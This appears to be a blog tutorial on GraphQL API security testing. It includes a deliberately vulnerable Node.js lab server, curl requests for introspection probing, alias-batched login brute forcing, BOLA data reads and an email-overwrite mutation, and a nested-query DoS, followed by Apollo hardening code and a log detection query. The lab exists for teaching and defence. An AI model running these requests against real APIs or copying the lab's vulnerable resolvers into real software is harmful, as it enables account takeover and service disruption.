
Hands-on masterclass on auditing and exploiting GraphQL API vulnerabilities (introspection bypasses, alias rate-limit bypasses, BOLA, depth DoS) with full runnable Node.js lab code and TypeSc
Learn how to install Kali Linux dual boot alongside Windows 10/11. Complete step-by-step guide with partitioning, GRUB setup, troubleshooting, and safety warnings to prevent data loss.
13 min read
What breaks on an OAuth or OIDC login: redirect matching, PKCE, state, and the Host header. What I check, and what I turn on. No exploit lab.
12 min read
Basic understanding of HTTP APIs, Node.js, and web application security fundamentals.
Node.js, Express, cURL, jq, Clairvoyance
Author: Syed Zada Abrar
Published: September 18, 2026
Category: Web & API Security / Offensive Security
GraphQL is a query language for APIs and a server-side runtime for executing queries using a type system defined for your data. Unlike REST architectures—which map specific HTTP verbs (GET, POST, PUT, DELETE) to discrete URL endpoints (/api/v1/users, /api/v1/orders)—GraphQL exposes a single HTTP endpoint (typically /graphql or /api/graphql) accepting POST requests containing a structured query payload.
When a GraphQL request hits the server, it passes through four distinct phases:
[ HTTP POST /graphql ]
│
▼
┌──────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ AST Parsing │ ──► │ Schema Validation │ ──► │ Resolver Execution │ ──► [ JSON Response ]
└──────────────────┘ └──────────────────────┘ └──────────────────────┘
│
┌──────────┴──────────┐
▼ ▼
[ UserResolver ] [ OrdersResolver ]
Traditional Web Application Firewalls (WAFs) and API gateways analyze traffic at the HTTP routing layer (URL path, query parameters, HTTP headers, and IP rate limits). Because ALL GraphQL operations flow through POST /graphql with an HTTP status of 200 OK (even when internal resolver errors occur), legacy security controls fail to inspect:
To follow this hands-on masterclass, deploy this vulnerable GraphQL target application locally. It simulates an enterprise e-commerce API containing schema misconfigurations, disabled depth limits, aliased rate-limit bypasses, and BOLA vulnerabilities.
package.json{
"name": "vulnerable-graphql-lab",
"version": "1.0.0",
"main": "server.js",
"dependencies": {
"express": "^4.19.2",
"express-graphql": "^0.12.0",
"graphql": "^16.8.1"
}
}
server.jsconst express = require('express');
const { graphqlHTTP } = require('express-graphql');
const { buildSchema } = require('graphql');
// Mock Enterprise Database
const USERS_DB = {
"1": { id: "1", username: "alice", role: "user", email: "alice@company.internal", token: "SECRET_ALICE_TOKEN" },
"2": { id: "2", username: "bob", role: "admin", email: "bob@company.internal", token: "SECRET_BOB_ADMIN_KEY" }
};
const PRODUCTS_DB = [
{ id: "101", name: "Standard Workspace License", price: 29.99, isPrivate: false },
{ id: "102", name: "Enterprise Red Team Toolkit", price: 4999.00, isPrivate: true }
];
// GraphQL Schema Definition (Introspection Enabled for Testing)
const schema = buildSchema(`
type User {
id: ID!
username: String!
role: String!
email: String!
token: String
friends: [User]
}
type Product {
id: ID!
name: String!
price: Float!
isPrivate: Boolean!
}
type Query {
me(userId: ID!): User
user(id: ID!): User
products: [Product]
product(id: ID!): Product
systemStatus: String
}
type Mutation {
login(username: String!, password: String!): String
updateEmail(userId: ID!, email: String!): User
}
`);
// Root Resolvers with Security Weaknesses
const root = {
me: ({ userId }) => USERS_DB[userId],
user: ({ id }) => USERS_DB[id], // Vulnerable to IDOR / BOLA
products: () => PRODUCTS_DB.filter(p => !p.isPrivate),
product: ({ id }) => PRODUCTS_DB.find(p => p.id === id), // Vulnerable: missing isPrivate check!
systemStatus: () => "OK - All Systems Operational",
login: ({ username, password }) => {
if (username === "admin" && password === "P@ssw0rd2026!") {
return "SUCCESS_JWT_TOKEN_ADMIN_99218";
}
return "INVALID_CREDENTIALS";
},
updateEmail: ({ userId, email }) => {
if (USERS_DB[userId]) {
USERS_DB[userId].email = email;
return USERS_DB[userId];
}
return null;
}
};
const app = express();
app.use(express.json());
// Exposed GraphQL Endpoint (No Rate Limiting, No Depth Limits)
app.use('/graphql', graphqlHTTP({
schema: schema,
rootValue: root,
graphiql: true // GraphIQL IDE enabled
}));
app.listen(4000, () => {
console.log('Vulnerable GraphQL Lab listening on http://localhost:4000/graphql');
});
Start the application:
npm install
node server.js
Introspection is a built-in feature of GraphQL that allows clients to query the schema itself for supported queries, mutations, types, and fields. When introspection is left enabled in production, attackers can rebuild the entire API database schema automatically.
Run the following curl POST request to determine if introspection is enabled:
curl -s -X POST http://localhost:4000/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { queryType { name } mutationType { name } types { name } } }"}' | jq .
{
"data": {
"__schema": {
"queryType": {
"name": "Query"
},
"mutationType": {
"name": "Mutation"
},
"types": [
{ "name": "User" },
{ "name": "Product" },
{ "name": "Query" },
{ "name": "Mutation" },
{ "name": "String" },
{ "name": "ID" },
{ "name": "Float" },
{ "name": "Boolean" }
]
}
}
}
Even when __schema is disabled ("GraphQL introspection is disabled"), servers running Apollo Server or standard GraphQL engines often provide field suggestions in error responses when a user submits a slight typo.
Send a request for an invalid field:
curl -s -X POST http://localhost:4000/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ usr { id } }"}' | jq .
{
"errors": [
{
"message": "Cannot query field \"usr\" on type \"Query\". Did you mean \"user\" or \"users\"?",
"locations": [{ "line": 1, "column": 3 }]
}
]
}
Offensive security professionals use tools like Clairvoyance to systematically trigger field suggestions and map out hidden APIs when introspection is turned off:
python3 -m clairvoyance http://localhost:4000/graphql -o schema.json
Rate limiters at the WAF or reverse proxy level (Nginx, Cloudflare, AWS WAF) count HTTP requests per IP address (e.g., maximum 50 requests per minute to /graphql).
In GraphQL, a client can execute hundreds of distinct operations inside a single HTTP request by using GraphQL Field Aliases.
Instead of making 500 separate POST requests to /graphql, an attacker submits one single HTTP request containing 500 aliased mutations:
curl -s -X POST http://localhost:4000/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "mutation BruteForce { attempt1: login(username: \"admin\", password: \"123456\") attempt2: login(username: \"admin\", password: \"admin123\") attempt3: login(username: \"admin\", password: \"P@ssw0rd2026!\") }"
}' | jq .
{
"data": {
"attempt1": "INVALID_CREDENTIALS",
"attempt2": "INVALID_CREDENTIALS",
"attempt3": "SUCCESS_JWT_TOKEN_ADMIN_99218"
}
}
In GraphQL, queries can request specific object fields. Vulnerabilities occur when root resolvers or nested field resolvers fail to verify if the currently authenticated session has permission to view or mutate the target object ID.
In our target server, querying products returns only public items (isPrivate: false). However, the product(id: ID!) resolver directly returns any product matching the ID without verifying isPrivate.
curl -s -X POST http://localhost:4000/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ products { id name price } }"}' | jq .
Response lists item ID 101.
curl -s -X POST http://localhost:4000/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ product(id: \"102\") { id name price isPrivate } }"}' | jq .
{
"data": {
"product": {
"id": "102",
"name": "Enterprise Red Team Toolkit",
"price": 4999,
"isPrivate": true
}
}
}
Attackers can modify emails of other users by altering the userId parameter in the updateEmail mutation:
curl -s -X POST http://localhost:4000/graphql \
-H "Content-Type: application/json" \
-d '{"query": "mutation { updateEmail(userId: \"2\", email: \"attacker@hacked.com\") { id username email } }"}' | jq .
When schemas contain circular relationships (e.g., a User has friends, which are also User objects), an attacker can request deeply nested recursive queries. Without depth-limiting middleware, the engine parses and resolves every layer recursively, triggering exponential CPU processing and exhaustion of the thread pool.
query DeepDepthDoS {
user(id: "1") {
friends {
friends {
friends {
friends {
friends {
friends {
friends {
username
}
}
}
}
}
}
}
}
}
curl -s -X POST http://localhost:4000/graphql \
-H "Content-Type: application/json" \
-d '{"query": "query { user(id:\"1\") { friends { friends { friends { friends { username } } } } } }"}'
To secure enterprise GraphQL deployments, implement defense-in-depth across schema validation, rate limiting, and resolution hooks.
import express from 'express';
import { createApolloServer } from '@apollo/server';
import { expressMiddleware } from '@apollo/server/express4';
import depthLimit from 'graphql-depth-limit';
import { createComplexityLimitRule } from 'graphql-validation-complexity';
const app = express();
// 1. Configure Depth & Complexity Guardrails
const server = new createApolloServer({
typeDefs,
resolvers,
// Disable Introspection in Production Environments
introspection: process.env.NODE_ENV === 'production' ? false : true,
// Disable Field Suggestions in Errors (Apollo v4+)
hideSchemaDetailsFromClientErrors: true,
validationRules: [
// Rule 1: Cap Maximum Query Depth to 4 Levels
depthLimit(4),
// Rule 2: Limit Query Complexity Points (Prevents Aliased Batching Abuse)
createComplexityLimitRule(1000, {
onCost: (cost) => console.log(`Calculated Query Cost: ${cost}`)
})
]
});
await server.start();
app.use('/graphql', express.json(), expressMiddleware(server));
Detect GraphQL alias batching brute-force attacks and high-complexity queries in WAF/API gateway logs:
// Detect GraphQL Aliased Batching & Brute-Force Attacks
AzureDiagnostics
| where ResourceType == "APPLICATIONGATEWAY"
| where requestUri_s contains "/graphql"
| extend httpBody = postData_s
| where httpBody contains "mutation" and (httpBody regex_matches @"([a-zA-Z0-9_]+:\s*login)" > 3)
| summarize BatchAttemptCount = count() by clientIP_s, bin(TimeGenerated, 5m)
| where BatchAttemptCount > 5
| project TimeGenerated, clientIP_s, BatchAttemptCount, "GraphQL Batch Brute Force Detected"
__schema introspection in production and hide field suggestions (hideSchemaDetailsFromClientErrors) to prevent automated schema harvesting.depthLimit(4)) and field complexity scoring to nullify circular DoS attacks and alias rate-limit bypasses.Share this tutorial
Master Cross-Site WebSocket Hijacking (CSWSH) in 2026. Explore HTTP/1.1 upgrade mechanics, Origin header bypasses, token leakage via query params, weaponized HTML/JS exploit PoCs, Python audi
22 min read
Sign in to leave a comment.